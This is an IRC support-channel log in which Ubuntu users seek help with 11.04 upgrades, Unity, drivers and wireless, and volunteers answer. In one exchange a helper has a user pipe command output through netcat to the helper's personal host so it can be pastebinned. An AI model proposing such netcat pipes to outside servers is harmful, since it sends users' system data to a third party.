[23:27] <mickster04> tomekh: why not?
[23:27] <nb72> wazzup, it is, I'm pretty sure instructions are on ubuntu.com
[23:27] <DGM> Samsagax: hm did you install those deps in your chroot though?
[23:27] <Galvatron> aguitel: sudo apt-get synaptic && gksu synaptic will be the easiest way.
[23:28] <wazzup> nb72 : i will try to find it :)
[23:28] <Samsagax> DGM: how can i know for sure?
[23:28] <stefg> TerryBook: there is ccsm which is a somwhat hackish way to do some configuartion... but the general idea is: take ir or leave it (and facing the possibilty that more users don't take, but leave)
[23:28] <Galvatron> tomekh: sudo apt-get synaptic && gksu synaptic will be the easiest way.
[23:28] <zvacet> wazzup:  http://www.ubuntu.com/download/ubuntu/download
[23:28] <Galvatron> Mybad
[23:28] <bittyx-laptop> i'm downloading 11.04 right now, and i've taken notice that unity is used by default. is it easy to switch back to the regular gnome desktop instead?
[23:28] <zookalicious> bittyx-laptop-  yup
[23:28] <mickster04> !unity
[23:28] <ubottu> Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[23:28] <arand> bittyx-laptop: Yes, select classic at login.
[23:28] <Samsagax> DGM: funny thing is i had this app installed on averick w/o anything else than ia32-libs
[23:28] <Galvatron> bittyx-laptop: Log out and choose "Ubuntu Classic"
[23:28] <habriel> how are you all someone have any course from nagios
[23:29] <TerryBook> bittyx-laptop:  yeah, on the login screen
[23:29] <wazzup> zvacet : that is too isntall from a usb drive :p not on a usb drive
[23:29] <bittyx-laptop> woot, so many answers. thanks guys, but as i've already said, i'm downloading at the moment, so i haven't had a chance to try it out myself yet. just asking so i would know what to expect. thanks again!
[23:30] <DGM> Samsagax: ah ok, ye i didnt have any problems running 32 bit stuff either, but i had to compile 32 bit libs at some point so i made a 32 bit chroot for that following this guide: http://ubuntuforums.org/showthread.php?t=24575 . You can just use apt in there. It's a bit of a hassle to switch to that chroot to run whatever you need to though.. and it takes up a lotta space too
[23:30] <zookalicious> bittyx-laptop-  no problem. Give Unity a try though before returning to Gnome-Classic. It's not for everyone yet, but you might like it.
[23:30] <nb72> wazzup, I was thinking from, not on.  You can run it like a live CD from the stick, but I'm not sure if you can fully run it from a stick.
[23:30] <SpaceBass> have a server box that has a failed upgrade to 11.04 - trying to recover using a recovery CD. I did a series of apt-get -f and dpkg --configure -a .... that made some progress, however it appears to have reached the end. dpgk --configure -a keeps failing
[23:30] <SpaceBass> can I force a re-application of the upgrade?
[23:30] <Soothsayer> if I cancel the ubuntu upgrade to 11 from within 10.10, can I resume it later?
[23:30] <jrib> SpaceBass: you need to be more specific as to how it is failing (pastebin)
[23:30] <Samsagax> DGM: is like having a second OS
[23:30] <Soothsayer> its too slow at the moment.
[23:31] <DGM> Samsagax: hehe ye
[23:31] <MotherMGA> So I just upgraded to ubuntu 11.04 and it doesn't do 3d accelleration?
[23:31] <zookalicious> Soothsayer-  I don't beleive so
[23:31] <jrib> Soothsayer: if it's only at the download stage, it's ok
[23:31] <bittyx-laptop> also, my download is going at a snail-like ~25KBps (even though i have a 1.5Mbit connection, so i should have more like ~150KBps) - i assume this is because the servers are overloaded at the moment?
[23:31] <SpaceBass> jrib, can't paste bin - no ssh, using recovery CD
[23:31] <Drumm96> I was doing a system upgrade, and at about 99% it crashed. Now on normal boot I'm having issues, but I can boot in failsafe mode.
[23:31] <commodore64th> I seem to have a problem; I just installed compiz-config, used it, and after changing some options, the taskbar and launcher are gone. I can't even open the start menu with the meta key.
[23:31] <jrib> SpaceBass: you don't have internet on the machine?
[23:31] <DGM> Samsagax: i guess it says 32 bit recommended for a reason :P
[23:31] <MotherMGA> it says I have the ati drivers running, but everything renders slower and jerkier than 10.10.
[23:31] <Soothsayer> jrib: but I will lose everything I've downloaded so far right? :-(
[23:31] <jrib> Soothsayer: no
[23:31] <Vilemaxim> join /virtualbox
[23:31] <SpaceBass> jrib, in a console, nothing use. no X
[23:32] <commodore64th> me?
[23:32] <wazzup> nb72 > im trying to install it on a usb drive : i know that live CD is possible but that way i cnat save anything :p
[23:32] <habriel> how are you all someone have any course from nagios
[23:32] <SpaceBass> jrib, I can bring up networking via the recovery CD, but still no browser
[23:32] <Soothsayer> jrib: oh, that's nice then.. its in the "Getting new packages" page.. its already fetched some 150 packages.
[23:32] <DGM> i'm just gonna go to bed.. when i wake up tomorrow all the problems will be solved.. probably.. maybe.. hopefully
[23:32] <DGM> nite
[23:33] <zorlem> habriel, what's up?
[23:33] <zvacet> wazzup: https://help.ubuntu.com/community/USB%20Installation%20Media
[23:33] <jdahm> escott: it works!
[23:33] <gogeta> hey does btrfs still need a ext4 boot
[23:33] <Galvatron> Drumm96: In terminal type: sudo dpkg --configure -a - it will finish yhe uncomplete job.
[23:33] <jdahm> escott: thanks for all your help!
[23:33] <escott> jdahm, excellent
[23:33] <escott> jdahm, so it was a stray mbr?
[23:33] <jdahm> escott: also: I very much like the new interface.  I don't know why people are complaining
[23:33] <jdahm> escott: I think so
[23:33] <Drumm96> Galvatron, Thankyou. Got many similar issues tonight?
[23:33] <diegoviola> hi
[23:33] <KMFrog> unity not working in virtualbox?
[23:33] <Preferably_> unity seems to insist that i should use the classic theme
[23:33] <jdahm> escott: you were on the ball with your suggestion
[23:33] <escott> jdahm, well now you have plenty of backup mbrs if sda goes out
[23:34] <diegoviola> Does Ubuntu 11.04 now use Wayland instead of X?
[23:34] <gogeta> jdahm: nooo please dont say lies like that
[23:34] <Preferably_> the default theme flashes quickly and changes to the classic variant
[23:34] <Drumm96> Galvatron, I'll try a reboot. Hope it works!
[23:34] <wazzup> <zvacet> i will check that site out
[23:34] <bellcolt> can someone help me restore 11.04?  just upgraded the driver to nvidia-current and gdm does not start during boot
[23:34] <gogeta> diegoviola: no
[23:34] <zetheroo> any way to get the buttons in the launcher to have a hover effect?
[23:34] <Soothsayer> jdahm: baa.. feels kinda kiddy (the interface)
[23:34] <diegoviola> gogeta: when it will use Wayland please?
[23:34] <zookalicious> KMFrog-  Unity works in the newest version of Virtualbox, but not the version from the Ubuntu repository
[23:34] <commodore64th> does anyone know how to start the terminal without using the launcher or the start menu?
[23:34] <gogeta> diegoviola: 11.10
[23:34] <Soothsayer> stuff is too big in the left bar.. can that be reduced though ?
[23:34] <diegoviola> gogeta: nice! :D
[23:34] <gogeta> diegoviola: maybe
[23:34] <jdahm> gogeta: I like the interface.  Linux needs better interfaces.  This is one organizations take on it
[23:34] <wazzup> zvacet : it seems valid i will try it :)
[23:34] <dugger5688> KMFrog: Update to Vbox 4.x (from the oracle .deb) and install virtualbox-ose-X11 (inside the guest OS)
[23:34] <gogeta> diegoviola: not set in stone yet
[23:34] <diegoviola> gogeta: fingers crossed
[23:35] <jrib> SpaceBass: try the following: COMMAND | nc ssh.jrib.net 12345
[23:35] <mnoyce> How do I report a bug in the Natty installer? I have Launchpad account, but when I click on Report a Bug, I just get taken to another web page about reporting bugs...
[23:35] <zvacet> wazzup:  ;)
[23:35] <jdahm> gogeta: beats the hell out of gnome3
[23:35] <rcmaehl_rant> http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html <- the hidden files tutorial was very helpful
[23:35] <rafii> MotherMGA: Turn off 'sync to vblank' option from OpenGL section in Compiz config settings manager - no more laggy interface on ATI fglrx drivers
[23:35] <Pilif12p> !update
[23:35] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[23:35] <habriel> zorlem: i am setting  nagios and haven't much experience i'd like find any course from nagio
[23:35] <jrib> SpaceBass: you probably want to redirect stderr too.  Or just create a file you want to pastebin and send that to ssh.jrib.net on port 12345
[23:35] <gogeta> jdahm: i run kde now soo you can see my thoughts on both of them
[23:36] <entity> just upgraded to 11.04 via update-manager -d. after restart, i get "Ubuntu 10.10 The disk drive for / is not ready yet or not present..." how to fix? :\
[23:36] <Cube``> how to do the dist-upgrade from commandline?
[23:36] <zorlem> habriel, course? there are a few decent books and a lot of info on the net
[23:36] <jrib> !upgrade | Cube``
[23:36] <ubottu> Cube``: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[23:36] <KMFrog> dugger5688 i'm running vbox 4.0.6, i'll try updating guest addons
[23:36] <SpaceBass> thanks jrib - what did you do, proxy to pastebin? brb... server is in rack in other room
[23:36] <Pilif12p> Is b2 the same as "stable" ?
[23:36] <jrib> Cube``: follow the server instructions
[23:36] <zorlem> habriel, I'd guess you'll be able to find a course as well
[23:36] <jdahm> gogeta: at first I switched to KDE when gnome3 came out and gnome2 sucked, but KDE is worse than all these new interfaces (combined?) ha
[23:36] <zrogg> Howdi. I just upgraded from 10.10 to 11.04, and I'm left with a desktop with icons but no menus (guessing Unity didnt fire up properly) :/ Any suggestions ?
[23:36] <commodore64th> crap... alt-tab doesn't work
[23:36] <rcmaehl_rant> I get warning telling me that I'm not on 11.04 and that my current version is 11.04
[23:36] <tomasz> ubuntu one have bug in tekst
[23:36] <Cube``> jrib: ?
[23:36] <Cube``> jrib: ah thanks!
[23:36] <jrib> SpaceBass: yeah I have an old script I wrote that will listen and pastebin
[23:36] <gogeta> jdeslaur_: not 4.6 yea i hated kde 3 man it was junk
[23:37] <jrib> SpaceBass: it's mostly useless nowadays because of things like pastebinit but you can't install pastebinit easily because your packaging system is broken
[23:37] <zetheroo> I dunno about the rest of you but I REALLY have to be able to customise the main menu and launcher bar ... REALLY!!!
[23:37] <SpaceBass> jrib, talk about valuable now thought... brb
[23:37] <zookalicious> zrogg-  do you mean the menus normally in the top left?
[23:37] <Soothsayer> when I dual boot between windows and ubuntu, the mac address is the same on both right? My ISP's login client uses my mac-address.
[23:38] <zorlem> Soothsayer, yes
[23:38] <george_> Good evening. I've tried to upgrade my distro, but there were some troubles. I'm currently stucked, due to the command sudo apt-get dist-upgrade results in the following http://pastie.org/1845252. Could someone help me to solve that? Thanks.
[23:38] <skulltip> looking at screenshots, how in any way does it copy a mac??!?
[23:38] <jrib> SpaceBass: in the meantime I need to grab some food.  I'll be back in 10.  I may have 12345 blocked on the router.  If so, I'll take care of that when I return :)
[23:38] <zorlem> Soothsayer, if you haven't changed it in one of the OSes of course
[23:38] <zrogg> zookalicious: I have never tried or seen Unity before, so I have no idea what it is suppose to look like. But atm I'm only seeing a desktop wallpaper and my usual icons :)
[23:38] <zvacet> zrogg: it is first  day but I think unity comes that way just icons on the left	
[23:38] <zookalicious> zrogg - The new desktop for Ubuntu 11.04 looks fairly different from 10.10
[23:38] <Samsagax> is there a way to get ANY applet working in unity?
[23:38] <ohsix> zetheroo: if you want the panels (and their customization) back, log in with the classic session
[23:38] <TerryBook> ooh, I *can* configure the sidebar!
[23:39] <entity> anyone know how to fix root filesystem not mounting?
[23:39] <zookalicious> zrogg-  Try clicking the Ubuntu logo in the top left, should bring up the Dash
[23:39] <KMFrog> dugger5688 updating guest additions did the trick, thanks :]
[23:39] <zetheroo> ohsix:  no, that is not a solution ... people keep on saying that :(
[23:39] <step21> Samsagax, weather at top or so works ... webupd8.org ...
[23:39] <mnoyce> Nevermind... I've figured it out...
[23:39] <dugger5688> KMFrog: Glad to hear it, have fun!
[23:39] <ohsix> zetheroo: then you get what you get
[23:39] <pumeust> hello which software do you recommend for adobe flash?
[23:39] <ohsix> Samsagax: same for you :]
[23:39] <zrogg> zookalicious: hm, I don't have an icon there I'm afraid :/
[23:39] <step21> entity, check for errors?
[23:39] <zetheroo> also just noticed that the top panel is no longer editable ... why can't I add my menu applet back!?
[23:40] <jdahm> escott: for fun: http://pastie.org/1845281
[23:40] <zvacet> zrogg: you can see how it look here http://www.ubuntu.com/ubuntu/features
[23:40] <entity> step21: how the filesystem won't mount.
[23:40] <zookalicious> zrogg - there is a guide here http://www.omgubuntu.co.uk/natty/ if your desktop doesn't have the things mentioned in this guide then there might be a problem
[23:40] <zetheroo> ohsix: yep, and it seems Ubuntu us heading towards lockdown  .... like MS and Mac :P
[23:40] <usr13> pumeust: sudo apt-get install adobe-flashplugin
[23:40] <TerryBook> hmm.  xchat no longer shows in the system tray despite having the option set
[23:40] <yofel> pumeust: the 'flashplugin-installer' provides the flash player
[23:40] <step21> zetheroo, because it's a whole new program ... if you need your menu you have to use gnome afaik
[23:41] <entity> step21: i get "Ubuntu 10.10 The disk drive for / is not ready yet or not present..." upon boot. after that it says the same thing about /tmp
[23:41] <MarkSS> Where do I find the old application gnome list in Unity or something similar?
[23:41] <pumeust> thanks usr13  and yofel
[23:41] <zorlem> zetheroo, that's only for the basic users
[23:41] <jdahm> zetheroo: how so?
[23:41] <step21> zetheroo, i don't think so... then you couldn't switch what you always can on linux
[23:41] <zorlem> zetheroo, only the default experience
[23:41] <zetheroo> zorlem: what?
[23:41] <usr13> zorlem: As you can see, there are choices.
[23:41] <zorlem> zetheroo, nobody prevents you from running Gnome, or XFce
[23:41] <riclas> so... i upgraded to natty, and now i can't install fglrx
[23:42] <zorlem> zetheroo, or KDE
[23:42] <zetheroo> zorlem: great ....
[23:42] <riclas> or better, i can, but it doesn't boot :\
[23:42] <usr13> pumeust: As you can see, there are choices.
[23:42] <ohsix> zetheroo: you've been told your options, you disagree; apparently with how it used to be as well, not just hoe it is now
[23:42] <step21> entity, I would boot from livecd and check the disk from there (without mounting) did you do an upgrade or so right before?
[23:42] <riclas> anyone had a similar experience?
[23:42] <zrogg> zookalicious: yeah, my desktop doesn't look like that at all. It seems like I'm running my old gnome just without any menus, sidebars or anything :/ Would a screenie of my desktop help ?
[23:42] <zetheroo> zorlem: none of those are "Ubuntu"  - and that was my point!
[23:42] <zookalicious> zrogg - tried logging in and out? or restarting?
[23:43] <zetheroo> ohsix: excuse me? What are you on about?
[23:43] <yofel> zetheroo: point is that complaining *here* will change absolutely nothing, either raise your point to the ayatana team or remote participate on the ubuntu developer summit
[23:43] <zatan> hi again, is there anyway to stop automaticaly maximize windows on unity? as at the moment they maximize when i moving them by the nome-panel
[23:43] <zrogg> zookalicious: yup, doesn't seem to help
[23:43] <Drumm96> My dpkg --configure -a produced no output. On reboot, I am still presented with a flashing underline.
[23:43] <dugger5688> more people need to go the cd-upgrade route. :-( running package updates is painful right now.
[23:43] <Jway> after natty upgrade from lucid my network card says "link is not ready" in dmesg... I cannot enable it in any way, suggestions?
[23:43] <pumeust> usr13, i was installing flashplugin-installer with synaptics and it was gonna take like over 15 minutes and i thought something was wrong with that and maybe i should try something else
[23:43] <Jway> intel agn4965
[23:43] <step21> zetheroo, he's right, this is for support primarily
[23:43] <entity> step21: yes, I was running 10.10 and I upgraded with update-manager -d
[23:44] <zetheroo> ohsix: you don't find it at all frustrating that an completely un-configurable menu/panel/launcher are given in place of what was completely customisable!?
[23:44] <Lunar_Lamp> dugger5688: I've noticed that GB mirrors are very slow, but switching to a different geographic location improved things vastly. (for me, I just dropped the geograpy)
[23:44] <zetheroo> step21: so support ... ;)
[23:44] <step21> zetheroo, take it somewhere else plz ...
[23:44] <zorlem> zetheroo, $aptitude search ^xfce4$
[23:44] <zorlem> p   xfce4                                                                                            - Meta-package for the Xfce Lightweight Desktop Environment
[23:44] <usr13> pumeust: Well, with so many doing a distribution upgrade now installing from repos will be slow.
[23:44] <zorlem> this is plain Ubuntu
[23:44] <zookalicious> zrogg - thats odd
[23:45] <usr13> pumeust: They are all overloaded today.
[23:45] <zetheroo> zorlem: I do not WANT to run XFCE!!
[23:45] <zorlem> zetheroo, then don't
[23:45] <zookalicious> zrogg - Sorry I'm not too sure what to advise, I haven't started using 11.04 yet, I just know what it's supposed to look like
[23:45] <zorlem> zetheroo, it's just an example
[23:45] <Jway> tried modprobing iwlagn, rfkill, nothing makes the wireless work. Works fine in windows on same computer
[23:45] <zorlem> zetheroo, that what you're saying is not true - there is no lockdown
[23:45] <epkugelmass> The upgrade to natty seems to have broken nautilus. is this a known issue?
[23:46] <pumeust> usr13,  oh so thats all it was
[23:46] <zrogg> zookalicious: that's allright. Thanks for the suggestions, I'll keep chipping away at the problem.
[23:46] <escott> jdahm, thats a lot of ram
[23:46] <step21> entity, it's hard to tell what went wrong, did it mention any errors before reboot? otherwise try to boot from livecd or rescue mode and check the disk (it doesn't have to be mounted)
[23:46] <zvacet> riclas: no I installed it by click on applications and find it under system>additional hardware drivers
[23:46] <usr13> Jway: What wireless card do you have?
[23:46] <zookalicious> zrogg-  Best of luck
[23:46] <jrib> SpaceBass: back
[23:46] <Jway> usr13, intel agn4965
[23:46] <zetheroo> zorlem: to the extent that I want to configure - yes
[23:46] <step21> zetheroo, then what's wrong w normal gnome?
[23:46] <ohsix> zetheroo: you said you didn't want to use the classic session, which has panels and is the same as before
[23:47] <Osmodivs> The NickServ does NOT recognize my password!!
[23:47] <Drumm96> My dpkg --configure -a produced no output. On reboot, I am still presented with a flashing underline.
[23:47] <zetheroo> step21: 90% of the reason I upgraded in the first place was to get to use the new look .... why bother mmoving from 10.10!?
[23:47] <rcmaehl_rant> Why doesn't flash work in 11.04?
[23:47] <step21> Osmodivs, - #freenode
[23:47] <riclas> zvacet, i tried that... but it errors out :(
[23:47] <usr13> Jway: Well that one should work ok.  Is it turned off? Or has the network manager have it dissabled somehow?
[23:48] <Eathuz> Hey!
[23:48] <zetheroo> ohsix: absolutely correct ... as that is NOT a solution to the real issue ... that there is a lack of customisability HERE!
[23:48] <ohsix> zetheroo: why bother indeed, shouldn't you have asked yourself that before you did it?
[23:48] <skulltip> locked in? if developers would write BF4 for it like they do with the current pc platforms, it would be worth it
[23:48] <ohsix> zetheroo: that is desired, use what you like
[23:48] <george_> Anyone?
[23:48] <entity> step21: I selected the top ubuntu entry from the bootmenu, and the ubuntu loading screen came on like normal with the four dots animation, but instead of loading like normal, it displays this: "Ubuntu 10.10 The diskdrive for / is not ready yet or is not present [...]"
[23:48] <step21> zetheroo, oh so you upgraded and it doesn't work? I though you just didn't like/want it...
[23:48] <pumeust> rcmaehl_rant, i wondered if something was wrong with flash too but looks like i just needed to install it i'm doing that now
[23:48] <|Seth|> george_ what was your question
[23:48] <|Seth|> george_ I can't answer it but repeat it anyway
[23:48] <zetheroo> ohsix: Oh, I am sorry ... I did not get the memo from Canonical about that ...
[23:48] <rcmaehl_rant> pumeust: it will error out
[23:49] <Jway> usr13, actually it has been a problem since the last dist upgrade, I always had to right click the icon to enable the wireless and then it would connect. Now I have to rfkill to un-gray the "enable wireless" item in the right click menu but clicking it makes no networks show and dmesg still says link is not ready. Tried removing battery, holding power button for 30 seconds and booting up again,
[23:49] <Jway> same problem. Windows is fine.
[23:49] <entity> which automatically means it did not finish upgrading to 11.04
[23:49] <step21> entity, yes, but I meant before when you ran the upgrade
[23:49] <pumeust> rcmaehl_rant, oh i see i hope i dont run into that problem
[23:49] <george_> Seth: Good evening. I've tried to upgrade my distro, but there were some troubles. I'm currently stucked, due to the command sudo apt-get dist-upgrade results in the following http://pastie.org/1845252. Could someone help me to solve that? Thanks.
[23:49] <cdavis> Is Google Chrome working on Natty? I get an error when trying to install the .deb
[23:49] <zetheroo> step21: yes I upgraded ... and it all works ... afaik ... but it "working" is not the issue I suppose ...
[23:49] <Samsagax> cdavis: still there is a problem with 32bit libs
[23:49] <|Seth|> george_ yeah, no idea. when in doubt, google it
[23:50] <jiohdi> cdavis: did you try via the app store
[23:50] <epkugelmass> After upgrading from maverik to natty, nautilus is unusably slow. Using classic gnome. Any takers?
[23:50] <ohsix> zetheroo: you presume you would have? you're setting up a strawman you know; you could have provided useful input for months, but you're here now, when you can just use what you're familiar with
[23:50] <Eathuz> I got a question: I loaded Ubuntu 11 on a USB. It works fine when booting from it on my MacBook Pro, but I for some reason get "Boot Error" everytime I boot it on my ASUS P5N-D. Any ideas or suggestions? I've googled it and I can't seem to find a solution.
[23:50] <entity> step21: I wasn't here to see what would have went wrong with it. I'll try a disk check from live env and get back
[23:50] <|Seth|> george_ or repeat it a few times until someone smarter takes notice
[23:50] <cdavis> jiohdi: I didn't know it was in local repos, I will try
[23:50] <pumeust> wow i got 3 hours 57 minutes remaining to finish installing flash
[23:50] <george_> Seth: Sure... Thanks, anyway...
[23:50] <usr13> Jway:  You might try switching to wicd
[23:50] <cdavis> Samsagax: I need 64 bit version
[23:50] <goshawk> hi, do i have shortcuts in bashee from the desktop ? like i want to skip a song while browsing
[23:50] <jiohdi> cdavis: 32 bit will work just fine
[23:50] <jmweirick> Hi, i need help with grub on 11.04, any takers?
[23:50] <Jway> usr13, thanks I will try
[23:50] <usr13> Jway: sudo apt-get install wicd ; sudo apt-get remove network-manager
[23:50] <zetheroo> step21: the buttons in the launcher are too big, they need a hover feature and need to animate when clicked on ... stuff liek that ... plus the menu is making we work twice as hard to get to what I need ... more clicks etc ... not cool
[23:51] <jiohdi> cdavis: 32 will run on 64 but 64 will not run on 32
[23:51] <epkugelmass> Hi. Any word on why compiz-config won't fully import old configuration files, and why it wipes my config when upgrading?
[23:51] <Eathuz> I don't want to repeat my question, since it seems rude, but I'm kinda stuck and would really like some help :)
[23:51] <Jway> brb, reboot
[23:51] <uofm49426> can i do this in 10.10 http://www.ubuntugeek.com/intel-graphics-performance-guide-for-ubuntu-904-jaunty-users.html
[23:51] <usr13> !grub2 | jmweirick
[23:51] <ubottu> jmweirick: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[23:52] <bcurren> i have a partition that i'm consistently getting an EIO error. i there a tool that will help my diagnose the problem?
[23:52] <jrib> !helpme | Eathuz
[23:52] <ubottu> Eathuz: Avoid following your questions with a trail of "Please, help me", "Can nobody help me?", "I really need this!", and so on. This just contributes to making the channel unreadable. If you are not answered, ask again later; but see also !repeat and !attitude
[23:52] <jdahm> escott: I like it :)  It's for computational physics simulations
[23:52] <zetheroo> ohsix: I am sorry again ... I work 9-5 mon - fri .... don't have a whole lot of time to test software and all ... I just thought that with the past of Ubuntu (and Linux) being so pro-customisability that I would never find myself here
[23:52] <sfdsafdsafdsa> Today I was trying Natty so ..Do you think Natty 11.04 (Unity) will be the Vista phase of Ubuntu ? I mean Vista as in Windows Vista
[23:52] <syntaur> Is there any way to resume the upgrade process? My keyboard was on my ubuntu laptop here, and I forgot. I hit escape and the upgrade status window went away. I go back into the update manager and it says there's no updates or upgrade.
[23:52] <Eathuz> !repeat
[23:52] <ubottu> Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[23:52] <ohsix> zetheroo: unfortunately you can't go back in time and communicate this
[23:52] <SpaceBass> jrib, thanks for the help so far! apparently one of the last runs of dpkg or apt-get broke something worse. Can't get a shell anymore. Going to reinstall base system. data is on raid anyway
[23:52] <pp7_> !repeat
[23:52] <Galerien> Hi ! I'm on ubuntu 11.04 Beta (1 or 2) and I want to install the new release, how can I do that ?
[23:53] <ohsix> zetheroo: well it's not "anti" either, idon't know why you are here
[23:53] <yofel> sfdsafdsafdsa: that's something for #ubuntu-offtopic
[23:53] <Galerien> please*
[23:53] <Drumm96> Tried update to 1104. System crash at about 99%. I have run apt-get update, apt-get upgrade, apt-get autoremove, dpkg --configure -a. I am unable to boot into normal mode, when I do. I am greeted by a flashing underscore. I am currently in failsafe mode
[23:53] <pp7_> !attitude
[23:53] <ubottu> The people here are volunteers, your attitude should reflect that. Answers are not always available. See http://wiki.ubuntu.com/IRC/Guidelines
[23:53] <Samsagax> Galerien: go to releases.ubuntu.com
[23:53] <jiohdi> Galerien: it will do it for you just do update and upgrade
[23:53] <zetheroo> ohsix: what is unfortunate is the lack of customisability ...
[23:53] <Eathuz> I got a question: I loaded Ubuntu 11 on a USB. It works fine when booting from it on my MacBook Pro, but I for some reason get "Boot Error" everytime I boot it on my ASUS P5N-D. Any ideas or suggestions? I've googled it and I can't seem to find a solution.
[23:53] <yofel> !final | Galerien
[23:53] <ubottu> Galerien: If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[23:53] <ohsix> zetheroo: you know even gnomes panel isn'e enough to sate a lot of people? i hope you understand it's all relative & the line you've drawn is just as arbitrary
[23:53] <jdahm> Drumm96: clean installs always work better than upgrades
[23:53] <Samsagax> Galerien: and use the bit torrent, others are just jammed
[23:53] <jdahm> Drumm96: if you upgrade, be used to having headaches
[23:54] <Drumm96> jdahm, headaches teach you new things. :)
[23:54] <zrogg> seems I fixed my no-menu-problem by running "compiz --replace"
[23:54] <yofel> jdahm: that's not the case usually, at least for me upgrades have always worked fine
[23:54] <ohsix> zetheroo: some would call that a good thing, myself included, but i run the machines for my family
[23:54] <zetheroo> ohsix: I came hoping that I just did not know enough and that someone knew how to edit this stuff ... I could not believe that it was completely locked-down ....
[23:54] <lexvegas> is there any difference in reliability between installing from the liveCD or using unetbootin and a USB drive?
[23:54] <Drumm96> jdahm, besides, this is my first issue in years.
[23:54] <Sylphid> hey all....having a problem with front panel audio, if i start audio it everything defaults to rear panel however if i run aplay /some/audio.wav and start another track durring the aplay it goes to the front panel, any tips on how to toggle between front and back panel only?
[23:54] <jdahm> Drumm96: yofel just from experience, I have had to fix way too many friends' upgraded installations
[23:54] <ohsix> zetheroo: it's not, it's just different, the options for the unity plugin & the rest of compiza are available in ccsm
[23:55] <nastjuid> supposedly apt provides libapt-pkg-libc6, but if I get the package and look inside, it's not there?
[23:55] <yakitori3> irc.cde.wtbts.net
[23:55] <yofel> jdahm: *if* update-manager messed up the upgrade, please file bugs about that, it shouldn't happen
[23:55] <zookalicious> I can also attest to having problems with direct upgrades.
[23:55] <ohsix> zetheroo: the "panel" is nearly vestigial now, it serves no purpose like it did in gnome proper
[23:55] <Galerien> ok, thanks all, so it seems I'm up to date, but I get the same crash has before (beta) when I boot (I don't know what it is, just that something is crashing and that's it), does someone know how to get rid of that (I can provide you with informations if you tell me how ;) )
[23:55] <zetheroo> ohsix: ok ... why are they in a 3rd-party app? ...
[23:55] <rafii> my today upgrade maverick->natty was fine :D no problem :)
[23:55] <zetheroo> ohsix: where do I place my weather applet?
[23:55] <jdahm> yofel: most of the time it's because GPG keys were somehow deleted for PPA's
[23:56] <ohsix> zetheroo: isn't that that choice you were just talking about? i'm not sure what you're asking
[23:56] <zookalicious> rafii-  That's good to hear. I was just remarking that typically I find clean installations to be more reliable.
[23:56] <cdavis> I think natty is going to make me want to do more stuff in the console
[23:56] <ohsix> zetheroo: same place you did before, on the panel; whats in unity is not a panel
[23:56] <kdubois> cdavis: gui's are overrated anyways :)
[23:56] <jiohdi> Galerien: you can check whether you are at full upgrade in console type lsb_release -a
[23:56] <yofel> jdahm: missing GPG keys will only get you warnings, not errors, so that shouldn't mess up anything. Well, it will give you an occasional warning, true
[23:56] <zetheroo> ohsix: so your saying there IS a way to customise the menu system and launcher?
[23:56] <[dlp]> entity: What does /etc/fstab say?
[23:56] <cdavis> kdubois: so true
[23:56] <pp7_> kdubois: +1 :)
[23:57] <ohsix> zetheroo: you'll really be boned w/gnome-shell, enjoy what you have now
[23:57] <joepa> in natty/unity (unatty?), apps aren't staying pinned to the Launch (i.e., I r_click, Keep in Launcher, logout, login, and it's gone)
[23:57] <joepa> any ideas?
[23:57] <Galerien> jiohdi: ok, I can't see any mentions of beta or rc, is that it ?
[23:57] <Drumm96> Okay. So this may be a video drivers issue. lsb_release -a says I'm 11.04
[23:57] <Eathuz> I got a question: I loaded Ubuntu 11 on a USB. It works fine when booting from it on my MacBook Pro, but I for some reason get "Boot Error" everytime I boot it on my ASUS P5N-D. Any ideas or suggestions? I've googled it and I can't seem to find a solution.
[23:57] <zetheroo> ohsix: I did not think there was anythign too wrong with Gnome-shell ...
[23:57] <jiohdi> Galerien: thats it
[23:57] <ohsix> zetheroo: i'm not saying that; i'm saying you want a panel; use the session with a  panel
[23:57] <zetheroo> ohsix: you said there was something in ccsm
[23:57] <pp7_> mmm 12hrs till my upgrade completes :P
[23:58] <Sylphid> Eathuz, using the mac optimized image maybe
[23:58] <ohsix> zetheroo: not what you are asking, it is not a panel, i said what settings there _are_, some are available there
[23:58] <entity> [dlp]: I'm on a different machine... I'll type it into a pastebin and get back
[23:58] <Galerien> jiohdi: so, why do I get a crash warning when I boot ? It did that on the beta 1, but I wouldn't expect it to append on the final one.... Or can that be gnome 3 (which works perfectly)
[23:58] <Eathuz> Sylphid, tried downloading it and building the USB both from Mac and Windows.
[23:59] <zetheroo> ohsix: yeah ok ... the panel is not my main concern ... the main things are the launcher and menu
[23:59] <ohsix> zetheroo: so the panel, noted
[23:59] <jiohdi> Galerien: 6months to get everything right might seem like a long time, but trust me you will get a flurry of updates and upgrades in the next couple of months
[23:59] <zetheroo> ohsix: panel is not a biggy ...
[23:59] <jdahm> ok well I should head out
[00:00] <Galerien> jiohdi: sit and wait then, ok, thanks !
[00:00] <JWay> usr13, wicd did the trick together with sudo rfkill unblock wifi - thank you so much! must be a bug with natty and iwlagn...
[00:00] <rafii> zookalicious: in my opinion it depend how much someone modificate original system, if more non-stock configuration/modification = greater chance of encounter problem during updating
[00:00] <jiohdi> Galerien: or file bug reports
[00:00] <Galerien> I did on the beta
[00:00] <zetheroo> ohsix: they could have made a right-click menu for the launcher ... couldn't they ...
[00:01] <george_> Good evening. I've tried to upgrade my distro, but there were some troubles. I'm currently stucked, due to the command sudo apt-get dist-upgrade results in the following http://pastie.org/1845252. Could someone help me to solve that? Thanks.
